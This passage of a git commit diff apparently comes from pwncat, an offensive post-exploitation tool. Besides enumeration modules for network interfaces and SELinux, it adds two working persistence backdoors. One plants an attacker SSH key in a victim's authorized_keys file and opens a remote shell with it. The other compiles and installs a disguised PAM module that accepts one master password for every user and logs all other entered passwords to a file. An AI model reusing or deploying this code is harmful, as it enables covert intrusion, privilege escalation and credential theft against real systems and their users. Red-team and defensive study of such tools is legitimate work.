Enumerate network interfaces with active connections
|
||||||
|
and return their name and IP address.
|
||||||
|
"""
|
||||||
|
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
SCHEDULE = Schedule.ONCE
|
||||||
|
PROVIDES = ["system.network.interface"]
|
||||||
|
|
||||||
|
def enumerate(self):
|
||||||
|
|
||||||
|
try:
|
||||||
|
output = pwncat.victim.env(["ip", "addr"]).decode("utf-8").strip()
|
||||||
|
output = output.replace("\r\n", "\n").split("\n")
|
||||||
|
interface = None
|
||||||
|
|
||||||
|
for line in output:
|
||||||
|
if not line.startswith(" "):
|
||||||
|
interface = line.split(":")[1].strip()
|
||||||
|
continue
|
||||||
|
|
||||||
|
if interface is None:
|
||||||
|
# This shouldn't happen. The first line should be an interface
|
||||||
|
# definition, but just in case
|
||||||
|
continue
|
||||||
|
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith("inet"):
|
||||||
|
address = line.split(" ")[1]
|
||||||
|
yield "system.network.interface", InterfaceData(interface, address)
|
||||||
|
|
||||||
|
return
|
||||||
|
except FileNotFoundError:
|
||||||
|
pass
|
71
pwncat/modules/enumerate/system/selinux.py
Normal file
71
pwncat/modules/enumerate/system/selinux.py
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import dataclasses
|
||||||
|
from typing import Dict
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
|
@dataclasses.dataclass
|
||||||
|
class SELinuxState:
|
||||||
|
|
||||||
|
state: str
|
||||||
|
status: Dict[str, str]
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
result = f"SELinux is "
|
||||||
|
if self.state == "enabled":
|
||||||
|
result += f"[red]enabled[/red]"
|
||||||
|
elif self.state == "disabled":
|
||||||
|
result += f"[green]disabled[/green]"
|
||||||
|
else:
|
||||||
|
result += f"[yellow]{self.state}[/yellow]"
|
||||||
|
return result
|
||||||
|
|
||||||
|
@property
|
||||||
|
def mode(self) -> str:
|
||||||
|
return self.status.get("Current mode", "unknown").lower()
|
||||||
|
|
||||||
|
@property
|
||||||
|
def enabled(self) -> bool:
|
||||||
|
return self.state.lower() == "enabled"
|
||||||
|
|
||||||
|
@property
|
||||||
|
def description(self):
|
||||||
|
width = max(len(x) for x in self.status) + 1
|
||||||
|
return "\n".join(
|
||||||
|
f"{key+':':{width}} {value}" for key, value in self.status.items()
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class Module(EnumerateModule):
|
||||||
|
"""
|
||||||
|
Retrieve the current SELinux state
|
||||||
|
"""
|
||||||
|
|
||||||
|
PROVIDES = ["system.selinux"]
|
||||||
|
SCHEDULE = Schedule.ONCE
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
|
||||||
|
def enumerate(self):
|
||||||
|
|
||||||
|
try:
|
||||||
|
output = pwncat.victim.env(["sestatus"]).strip().decode("utf-8")
|
||||||
|
except (FileNotFoundError, PermissionError):
|
||||||
|
return
|
||||||
|
|
||||||
|
status = {}
|
||||||
|
for line in output.split("\n"):
|
||||||
|
line = line.strip().replace("\t", " ")
|
||||||
|
values = " ".join([x for x in line.split(" ") if x != ""]).split(":")
|
||||||
|
key = values[0].rstrip(":").strip()
|
||||||
|
value = " ".join(values[1:])
|
||||||
|
status[key] = value.strip()
|
||||||
|
|
||||||
|
if "SELinux status" in status:
|
||||||
|
state = status["SELinux status"]
|
||||||
|
else:
|
||||||
|
state = "unknown"
|
||||||
|
|
||||||
|
yield "system.selinux", SELinuxState(state, status)
|
@ -29,6 +29,7 @@ class PersistType(enum.Flag):
|
|||||||
|
|
||||||
LOCAL = enum.auto()
|
LOCAL = enum.auto()
|
||||||
REMOTE = enum.auto()
|
REMOTE = enum.auto()
|
||||||
|
ALL_USERS = enum.auto()
|
||||||
|
|
||||||
|
|
||||||
class PersistModule(BaseModule):
|
class PersistModule(BaseModule):
|
||||||
@ -68,6 +69,13 @@ class PersistModule(BaseModule):
|
|||||||
),
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super(PersistModule, self).__init__()
|
||||||
|
|
||||||
|
if PersistType.ALL_USERS in self.TYPE:
|
||||||
|
self.ARGUMENTS["user"].default = None
|
||||||
|
self.ARGUMENTS["user"].help = "Ignored. This module applies to all users."
|
||||||
|
|
||||||
def run(self, remove, escalate, **kwargs):
|
def run(self, remove, escalate, **kwargs):
|
||||||
|
|
||||||
if "user" not in kwargs:
|
if "user" not in kwargs:
|
||||||
@ -102,8 +110,9 @@ class PersistModule(BaseModule):
|
|||||||
yield result
|
yield result
|
||||||
|
|
||||||
# There was no exception, so we assume it worked. Put the user
|
# There was no exception, so we assume it worked. Put the user
|
||||||
# back in raw mode.
|
# back in raw mode. This is a bad idea, since we may be running
|
||||||
pwncat.victim.state = State.RAW
|
# escalate from a privesc context.
|
||||||
|
# pwncat.victim.state = State.RAW
|
||||||
return
|
return
|
||||||
elif ident is None and (remove or escalate):
|
elif ident is None and (remove or escalate):
|
||||||
raise PersistError(f"{self.name}: not installed with these arguments")
|
raise PersistError(f"{self.name}: not installed with these arguments")
|
||||||
|
236
pwncat/modules/persist/authorized_key.py
Normal file
236
pwncat/modules/persist/authorized_key.py
Normal file
@ -0,0 +1,236 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import shutil
|
||||||
|
import socket
|
||||||
|
import os
|
||||||
|
|
||||||
|
import paramiko
|
||||||
|
from prompt_toolkit import prompt
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
import pwncat.tamper
|
||||||
|
from pwncat.util import Access
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules import Argument
|
||||||
|
from pwncat.modules.persist import PersistModule, PersistType, PersistError
|
||||||
|
|
||||||
|
|
||||||
|
class Module(PersistModule):
|
||||||
|
"""
|
||||||
|
Install the custom backdoor key-pair as an authorized key for
|
||||||
|
the specified user. This method only succeeds for a user other
|
||||||
|
than the current user if you are currently root.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# We can escalate locally with `ssh localhost`
|
||||||
|
TYPE = PersistType.LOCAL | PersistType.REMOTE
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
ARGUMENTS = {
|
||||||
|
**PersistModule.ARGUMENTS,
|
||||||
|
"backdoor_key": Argument(
|
||||||
|
str, help="Path to a private/public key pair to install"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
def install(self, user, backdoor_key):
|
||||||
|
""" Install this persistence method """
|
||||||
|
|
||||||
|
homedir = pwncat.victim.users[user].homedir
|
||||||
|
if not homedir or homedir == "":
|
||||||
|
raise PersistError("no home directory")
|
||||||
|
|
||||||
|
# Create .ssh directory if it doesn't exist
|
||||||
|
access = pwncat.victim.access(os.path.join(homedir, ".ssh"))
|
||||||
|
if Access.DIRECTORY not in access or Access.EXISTS not in access:
|
||||||
|
pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")])
|
||||||
|
|
||||||
|
# Create the authorized_keys file if it doesn't exist
|
||||||
|
access = pwncat.victim.access(os.path.join(homedir, ".ssh", "authorized_keys"))
|
||||||
|
if Access.EXISTS not in access:
|
||||||
|
pwncat.victim.run(
|
||||||
|
["touch", os.path.join(homedir, ".ssh", "authorized_keys")]
|
||||||
|
)
|
||||||
|
pwncat.victim.run(
|
||||||
|
["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]
|
||||||
|
)
|
||||||
|
authkeys = []
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
# Read in the current authorized keys if it exists
|
||||||
|
with pwncat.victim.open(
|
||||||
|
os.path.join(homedir, ".ssh", "authorized_keys"), "r"
|
||||||
|
) as filp:
|
||||||
|
authkeys = filp.readlines()
|
||||||
|
except (FileNotFoundError, PermissionError) as exc:
|
||||||
|
raise PersistError(str(exc))
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Read our public key
|
||||||
|
with open(backdoor_key + ".pub", "r") as filp:
|
||||||
|
pubkey = filp.readlines()
|
||||||
|
except (FileNotFoundError, PermissionError) as exc:
|
||||||
|
raise PersistError(str(exc))
|
||||||
|
|
||||||
|
# Ensure we read a public key
|
||||||
|
if not pubkey:
|
||||||
|
raise PersistError(
|
||||||
|
f"{pwncat.victim.config['privkey']+'.pub'}: empty public key"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Add our public key
|
||||||
|
authkeys.extend(pubkey)
|
||||||
|
authkey_data = "".join(authkeys)
|
||||||
|
|
||||||
|
# Write the authorized keys back to the authorized keys
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open(
|
||||||
|
os.path.join(homedir, ".ssh", "authorized_keys"),
|
||||||
|
"w",
|
||||||
|
length=len(authkey_data),
|
||||||
|
) as filp:
|
||||||
|
filp.write(authkey_data)
|
||||||
|
except (FileNotFoundError, PermissionError) as exc:
|
||||||
|
raise PersistError(str(exc))
|
||||||
|
|
||||||
|
# Ensure we have correct permissions for ssh to work properly
|
||||||
|
pwncat.victim.env(
|
||||||
|
["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]
|
||||||
|
)
|
||||||
|
pwncat.victim.env(
|
||||||
|
[
|
||||||
|
"chown",
|
||||||
|
f"{user}:{user}",
|
||||||
|
os.path.join(homedir, ".ssh", "authorized_keys"),
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
# Register the modifications with the tamper module
|
||||||
|
pwncat.victim.tamper.modified_file(
|
||||||
|
os.path.join(homedir, ".ssh", "authorized_keys"), added_lines=pubkey
|
||||||
|
)
|
||||||
|
|
||||||
|
def remove(self, user, backdoor_key):
|
||||||
|
""" Remove this persistence method """
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Read our public key
|
||||||
|
with open(backdoor_key + ".pub", "r") as filp:
|
||||||
|
pubkey = filp.readlines()
|
||||||
|
except (FileNotFoundError, PermissionError) as exc:
|
||||||
|
raise PersistError(str(exc))
|
||||||
|
|
||||||
|
# Find the user's home directory
|
||||||
|
homedir = pwncat.victim.users[user].homedir
|
||||||
|
if not homedir or homedir == "":
|
||||||
|
raise PersistError("no home directory")
|
||||||
|
|
||||||
|
# Remove the tamper tracking
|
||||||
|
for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile):
|
||||||
|
if (
|
||||||
|
tamper.path == os.path.join(homedir, ".ssh", "authorized_keys")
|
||||||
|
and tamper.added_lines == pubkey
|
||||||
|
):
|
||||||
|
try:
|
||||||
|
# Attempt to revert our changes
|
||||||
|
tamper.revert()
|
||||||
|
except pwncat.tamper.RevertFailed as exc:
|
||||||
|
raise PersistError(str(exc))
|
||||||
|
# Remove the tamper tracker
|
||||||
|
pwncat.victim.tamper.remove(tamper)
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
raise PersistError("failed to find matching tamper")
|
||||||
|
|
||||||
|
def escalate(self, user, backdoor_key):
|
||||||
|
""" Locally escalate to the given user with this method """
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Ensure there is an SSH server
|
||||||
|
sshd = pwncat.victim.find_service("sshd")
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Ensure it is running
|
||||||
|
if not sshd.running:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Upload the private key
|
||||||
|
with pwncat.victim.tempfile("w", length=os.path.getsize(backdoor_key)) as dst:
|
||||||
|
with open(backdoor_key, "r") as src:
|
||||||
|
shutil.copyfileobj(src, dst)
|
||||||
|
|
||||||
|
privkey_path = dst.name
|
||||||
|
|
||||||
|
# Ensure correct permissions
|
||||||
|
try:
|
||||||
|
pwncat.victim.env(["chmod", "600", privkey_path])
|
||||||
|
except FileNotFoundError:
|
||||||
|
# We don't have chmod :( this probably won't work, but
|
||||||
|
# we can try it.
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Run SSH, disabling password authentication to force public key
|
||||||
|
# Don't wait for the result, because this won't exit
|
||||||
|
pwncat.victim.env(
|
||||||
|
[
|
||||||
|
"ssh",
|
||||||
|
"-i",
|
||||||
|
privkey_path,
|
||||||
|
"-o",
|
||||||
|
"StrictHostKeyChecking=no",
|
||||||
|
"-o",
|
||||||
|
"PasswordAuthentication=no",
|
||||||
|
f"{user}@localhost",
|
||||||
|
],
|
||||||
|
wait=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Delete the private key. This either worked and we didn't need it
|
||||||
|
# or it didn't work and we still don't need it.
|
||||||
|
try:
|
||||||
|
pwncat.victim.env(["rm", "-f", privkey_path])
|
||||||
|
except FileNotFoundError:
|
||||||
|
# File removal failed because `rm` doesn't exist. Register it as a tamper.
|
||||||
|
pwncat.victim.tamper.created_file(privkey_path)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def connect(self, user, backdoor_key: str) -> socket.SocketType:
|
||||||
|
""" Reconnect to this host with this persistence method """
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Connect to the remote host's ssh server
|
||||||
|
sock = socket.create_connection((pwncat.victim.host.ip, 22))
|
||||||
|
except Exception as exc:
|
||||||
|
raise PersistError(str(exc))
|
||||||
|
|
||||||
|
# Create a paramiko SSH transport layer around the socket
|
||||||
|
t = paramiko.Transport(sock)
|
||||||
|
try:
|
||||||
|
t.start_client()
|
||||||
|
except paramiko.SSHException:
|
||||||
|
raise PersistError("ssh negotiation failed")
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Load the private key for the user
|
||||||
|
key = paramiko.RSAKey.from_private_key_file(backdoor_key)
|
||||||
|
except:
|
||||||
|
password = prompt("RSA Private Key Passphrase: ", is_password=True)
|
||||||
|
key = paramiko.RSAKey.from_private_key_file(backdoor_key, password)
|
||||||
|
|
||||||
|
# Attempt authentication
|
||||||
|
try:
|
||||||
|
t.auth_publickey(user, key)
|
||||||
|
except paramiko.ssh_exception.AuthenticationException:
|
||||||
|
raise PersistError("authorized key authentication failed")
|
||||||
|
|
||||||
|
if not t.is_authenticated():
|
||||||
|
t.close()
|
||||||
|
sock.close()
|
||||||
|
raise PersistError("authorized key authentication failed")
|
||||||
|
|
||||||
|
# Open an interactive session
|
||||||
|
chan = t.open_session()
|
||||||
|
chan.get_pty()
|
||||||
|
chan.invoke_shell()
|
||||||
|
|
||||||
|
return chan
|
@ -72,7 +72,7 @@ class Module(BaseModule):
|
|||||||
host_id=pwncat.victim.host.id
|
host_id=pwncat.victim.host.id
|
||||||
)
|
)
|
||||||
if module is not None:
|
if module is not None:
|
||||||
query = query.filter_by(module=module)
|
query = query.filter_by(method=module)
|
||||||
|
|
||||||
# Grab all the rows
|
# Grab all the rows
|
||||||
modules = [
|
modules = [
|
||||||
|
224
pwncat/modules/persist/pam.py
Normal file
224
pwncat/modules/persist/pam.py
Normal file
@ -0,0 +1,224 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import pkg_resources
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
import socket
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.util import CompilationError, Access
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.modules import Argument, Status
|
||||||
|
from pwncat.modules.persist import PersistModule, PersistError, PersistType
|
||||||
|
|
||||||
|
|
||||||
|
class Module(PersistModule):
|
||||||
|
"""
|
||||||
|
Install a backdoor PAM module which allows authentication
|
||||||
|
with a single password for all users. This PAM module does
|
||||||
|
not interrupt authentication with correct user passwords.
|
||||||
|
Further, it will log all entered passwords (except the
|
||||||
|
backdoor password) to a log file which can be collected
|
||||||
|
with the creds.pam enumeration module. The installed module
|
||||||
|
will be named `pam_succeed.so`.
|
||||||
|
"""
|
||||||
|
|
||||||
|
TYPE = PersistType.LOCAL | PersistType.REMOTE | PersistType.ALL_USERS
|
||||||
|
PLATFORM = Platform.LINUX
|
||||||
|
ARGUMENTS = {
|
||||||
|
**PersistModule.ARGUMENTS,
|
||||||
|
"password": Argument(str, help="The password to use for the backdoor"),
|
||||||
|
"log": Argument(
|
||||||
|
str,
|
||||||
|
default="/var/log/firstlog",
|
||||||
|
help="Location where username/passwords will be logged",
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
def install(self, user: str, password: str, log: str):
|
||||||
|
""" Install this module """
|
||||||
|
|
||||||
|
if user is not None:
|
||||||
|
self.progress.log(
|
||||||
|
f"[yellow]warning[/yellow]: {self.name}: this module applies to all users"
|
||||||
|
)
|
||||||
|
|
||||||
|
if pwncat.victim.current_user.id != 0:
|
||||||
|
raise PersistError("must be root")
|
||||||
|
|
||||||
|
# Read the source code
|
||||||
|
with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp:
|
||||||
|
sneaky_source = filp.read()
|
||||||
|
|
||||||
|
yield Status("checking selinux state")
|
||||||
|
|
||||||
|
# SELinux causes issues depending on it's configuration
|
||||||
|
for selinux in pwncat.modules.run(
|
||||||
|
"enumerate.gather", progress=self.progress, types=["system.selinux"]
|
||||||
|
):
|
||||||
|
if selinux.data.enabled and "enforc" in selinux.data.mode:
|
||||||
|
raise PersistError("selinux is currently in enforce mode")
|
||||||
|
elif selinux.data.enabled:
|
||||||
|
self.progress.log(
|
||||||
|
"[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
|
||||||
|
)
|
||||||
|
|
||||||
|
# We use the backdoor password. Build the string of encoded bytes
|
||||||
|
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
|
||||||
|
password_hash = hashlib.sha1(password.encode("utf-8")).digest()
|
||||||
|
password_hash = ",".join(hex(c) for c in password_hash)
|
||||||
|
|
||||||
|
# Insert our key
|
||||||
|
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)
|
||||||
|
|
||||||
|
# Insert the log location for successful passwords
|
||||||
|
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)
|
||||||
|
|
||||||
|
yield Status("compiling pam module for target")
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Compile our source for the remote host
|
||||||
|
lib_path = pwncat.victim.compile(
|
||||||
|
[io.StringIO(sneaky_source)],
|
||||||
|
suffix=".so",
|
||||||
|
cflags=["-shared", "-fPIE"],
|
||||||
|
ldflags=["-lcrypto"],
|
||||||
|
)
|
||||||
|
except (FileNotFoundError, CompilationError) as exc:
|
||||||
|
raise PersistError(f"pam: compilation failed: {exc}")
|
||||||
|
|
||||||
|
yield Status("locating pam module installation")
|
||||||
|
|
||||||
|
# Locate the pam_deny.so to know where to place the new module
|
||||||
|
pam_modules = "/usr/lib/security"
|
||||||
|
try:
|
||||||
|
results = (
|
||||||
|
pwncat.victim.run(
|
||||||
|
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
|
||||||
|
)
|
||||||
|
.strip()
|
||||||
|
.decode("utf-8")
|
||||||
|
)
|
||||||
|
if results != "":
|
||||||
|
results = results.split("\n")
|
||||||
|
pam_modules = os.path.dirname(results[0])
|
||||||
|
except FileNotFoundError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
yield Status(f"pam modules located at {pam_modules}")
|
||||||
|
|
||||||
|
# Ensure the directory exists and is writable
|
||||||
|
access = pwncat.victim.access(pam_modules)
|
||||||
|
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||||
|
# Copy the module to a non-suspicious path
|
||||||
|
yield Status("copying shared library")
|
||||||
|
pwncat.victim.env(
|
||||||
|
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
|
||||||
|
)
|
||||||
|
new_line = "auth\tsufficient\tpam_succeed.so\n"
|
||||||
|
|
||||||
|
yield Status("adding pam auth configuration")
|
||||||
|
|
||||||
|
# Add this auth method to the following pam configurations
|
||||||
|
for config in ["sshd", "sudo", "su", "login"]:
|
||||||
|
yield Status(f"adding pam auth configuration: {config}")
|
||||||
|
config = os.path.join("/etc/pam.d", config)
|
||||||
|
try:
|
||||||
|
# Read the original content
|
||||||
|
with pwncat.victim.open(config, "r") as filp:
|
||||||
|
content = filp.readlines()
|
||||||
|
except (PermissionError, FileNotFoundError):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# We need to know if there is a rootok line. If there is,
|
||||||
|
# we should add our line after it to ensure that rootok still
|
||||||
|
# works.
|
||||||
|
contains_rootok = any("pam_rootok" in line for line in content)
|
||||||
|
|
||||||
|
# Add this auth statement before the first auth statement
|
||||||
|
for i, line in enumerate(content):
|
||||||
|
# We either insert after the rootok line or before the first
|
||||||
|
# auth line, depending on if rootok is present
|
||||||
|
if contains_rootok and "pam_rootok" in line:
|
||||||
|
content.insert(i + 1, new_line)
|
||||||
|
elif not contains_rootok and line.startswith("auth"):
|
||||||
|
content.insert(i, new_line)
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
content.append(new_line)
|
||||||
|
|
||||||
|
content = "".join(content)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open(config, "w", length=len(content)) as filp:
|
||||||
|
filp.write(content)
|
||||||
|
except (PermissionError, FileNotFoundError):
|
||||||
|
continue
|
||||||
|
|
||||||
|
pwncat.victim.tamper.created_file(log)
|
||||||
|
|
||||||
|
def remove(self, **unused):
|
||||||
|
""" Remove this module """
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
# Locate the pam_deny.so to know where to place the new module
|
||||||
|
pam_modules = "/usr/lib/security"
|
||||||
|
|
||||||
|
yield Status("locating pam modules")
|
||||||
|
|
||||||
|
results = (
|
||||||
|
pwncat.victim.run(
|
||||||
|
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
|
||||||
|
)
|
||||||
|
.strip()
|
||||||
|
.decode("utf-8")
|
||||||
|
)
|
||||||
|
if results != "":
|
||||||
|
results = results.split("\n")
|
||||||
|
pam_modules = os.path.dirname(results[0])
|
||||||
|
|
||||||
|
yield Status(f"pam modules located at {pam_modules}")
|
||||||
|
|
||||||
|
# Ensure the directory exists and is writable
|
||||||
|
access = pwncat.victim.access(pam_modules)
|
||||||
|
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||||
|
# Remove the the module
|
||||||
|
pwncat.victim.env(
|
||||||
|
["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
|
||||||
|
)
|
||||||
|
new_line = "auth\tsufficient\tpam_succeed.so\n"
|
||||||
|
|
||||||
|
# Remove this auth method from the following pam configurations
|
||||||
|
for config in ["sshd", "sudo", "su", "login"]:
|
||||||
|
config = os.path.join("/etc/pam.d", config)
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open(config, "r") as filp:
|
||||||
|
content = filp.readlines()
|
||||||
|
except (PermissionError, FileNotFoundError):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Add this auth statement before the first auth statement
|
||||||
|
content = [line for line in content if line != new_line]
|
||||||
|
content = "".join(content)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with pwncat.victim.open(
|
||||||
|
config, "w", length=len(content)
|
||||||
|
) as filp:
|
||||||
|
filp.write(content)
|
||||||
|
except (PermissionError, FileNotFoundError):
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
raise PersistError("insufficient permissions")
|
||||||
|
except FileNotFoundError as exc:
|
||||||
|
# Uh-oh, some binary was missing... I'm not sure what to do here...
|
||||||
|
raise PersistError(f"[red]error[/red]: {exc}")
|
||||||
|
|
||||||
|
def escalate(self, user: str, password: str, log: str) -> bool:
|
||||||
|
""" Escalate to the given user with this module """
|
||||||
|
|
||||||
|
def connect(self, user: str, password: str, log: str) -> socket.SocketType:
|
||||||
|
""" Connect to the victim with this module """
|
@ -1386,7 +1386,7 @@ class Victim:
|
|||||||
raise PermissionError
|
raise PermissionError
|
||||||
|
|
||||||
with self.subprocess(
|
with self.subprocess(
|
||||||
["ls", "--color=never", "--all", "-1"], stderr="/dev/null", mode="r"
|
["ls", "--color=never", "--all", "-1", path], stderr="/dev/null", mode="r"
|
||||||
) as pipe:
|
) as pipe:
|
||||||
for line in pipe:
|
for line in pipe:
|
||||||
line = line.strip().decode("utf-8")
|
line = line.strip().decode("utf-8")
|
||||||
|
@ -158,6 +158,11 @@ class TamperManager:
|
|||||||
for tracker in pwncat.victim.host.tampers:
|
for tracker in pwncat.victim.host.tampers:
|
||||||
yield pickle.loads(tracker.data)
|
yield pickle.loads(tracker.data)
|
||||||
|
|
||||||
|
def filter(self, base=Tamper):
|
||||||
|
for tamper in self:
|
||||||
|
if isinstance(tamper, base):
|
||||||
|
yield tamper
|
||||||
|
|
||||||
def __len__(self):
|
def __len__(self):
|
||||||
return len(pwncat.victim.host.tampers)
|
return len(pwncat.victim.host.tampers)
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user